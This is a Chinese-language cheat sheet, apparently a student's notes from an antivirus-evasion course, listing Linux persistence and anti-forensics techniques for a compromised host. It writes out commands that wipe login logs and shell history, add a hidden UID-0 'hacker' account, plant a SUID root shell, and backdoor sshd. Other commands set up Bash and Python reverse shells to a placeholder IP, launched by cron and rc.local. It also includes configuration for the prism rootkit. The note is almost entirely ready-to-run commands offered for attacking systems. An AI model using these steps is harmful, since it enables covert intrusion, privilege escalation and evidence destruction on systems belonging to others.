创建隐藏文件(ls不可见,ls -la可见):
- vim .shell.php
-
修改时间戳(文件时间):
touch -r 老文件 shell.elf
文件锁定(赋予特殊权限,不允许更改):
chattr +i shell.elf
无w、who、last等记录ssh:
ssh -T root@IP
清除last记录(登录信息):
echo '' > /var/log/wtmp
端口复用:
将来自IP访问80端口的流量转发到22端口
iptables -t nat -A PREROUTING -p tcp -s IP --dport 80 -j REDIRECT --to-port 22
ssh连接80端口
ssh -p 80 root@IP
历史命令记录隐藏:
set +o history,停止记录
history,查看记录
history -d 序号,删除记录
直接添加
useradd -p `openssl passwd -1 -salt 'salt' 123456` hacker -o -u 0 -g root -G root -s /bin/bash -d /home/hacker
修改/etc/passwd
生成密码->放入passwd最后一行
- [root@localhost ~]# perl -le 'print crypt('123456',"addedsalt")'
- adrla7IBSfTZQ
- [root@localhost ~]# echo "hacker:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >> /etc/passwd
让普通用户能用root
- cp /bin/bash /tmp/shell
- chmod u+s /tmp/shell
此时普通用户可以用root
- [ly@localhost root]$ /tmp/shell -p
- shell-4.2# whoami
- root
生成公私钥,回车就行(id_rsa是私钥、id_rsa.pub是公钥)
ssh-keygen -t rsa
查看公钥
cat /root/.ssh/id_rsa.pub
在对方电脑创建目录并放入公钥(注意粘贴开头可能少个s),重启服务
- mkdir /root/.ssh
- vim /root/.ssh/authorized_keys
- systemctl restart sshd.service
无需密码连接
ssh root@IP
需要PAM认证,下面UsePAM为yes
vim /etc/ssh/sshd_config
防火墙开放端口->重启->查看是否开放
- firewall-cmd --add-port=7777/tcp --permanent
- firewall-cmd --reload
- firewall-cmd --query-port=7777/tcp
建立软连接
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=7777
免密登录
ssh root@IP -p 7777
先开启ssh,将原本的sshd移位
- systemctl start sshd.service
- cd /usr/sbin/
- mv sshd /
重写一个sshd,赋予权限
- echo '#!/usr/bin/perl' >sshd
- echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
- echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
- chmod u+x sshd
免密登录
socat STDIO TCP4:IP:22,sourceport=13377
写一个反弹shell脚本并赋权
- echo '#!/bin/bash' > /shell.sh
- echo 'bash -i >& /dev/tcp/IP/6666 0>&1' >> /shell.sh
- chmod +sx /etc/shell.sh
添加一分钟一次的root权限计划任务
- echo '*/1 * * * * root /shell.sh' >> /etc/crontab
- systemctl restart crond.service
添加后门路径并赋权
- echo '/shell.elf' >> /etc/rc.d/rc.local
- chmod +x /etc/rc.d/rc.local
vim --version,看支不支持python3
反弹shell脚本,一个socket服务端,vim shell.py写入
- import socket, subprocess, os;
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
- s.connect(("IP", 6666));
- os.dup2(s.fileno(), 0);
- os.dup2(s.fileno(), 1);
- os.dup2(s.fileno(), 2);
- p = subprocess.call(["/bin/sh", "-i"]);
NC监听并在对方电脑执行(可能需要等一下)
vim -E -c "py3file shell.py"
https://github.com/andreafabrizi/prism
vim prism.c
填反弹IP、端口、时间、密码、进程名
- # define REVERSE_HOST "192.168.1.225"
- # define REVERSE_PORT 19832
- # define RESPAWN_DELAY 10
- # define ICMP_KEY "123456"
- # define PROCESS_NAME "mysql"
后台编译生成prism在对方电脑并运行
- gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c
- ./prism
NC监听并在自己电脑执行
python2 ./sendPacket.py 对方IP 密码 自己IP 端口
https://github.com/f0rb1dd3n/Reptile
本文为免杀三期学员笔记:https://www.cnblogs.com/Night-Tac/articles/16941099.html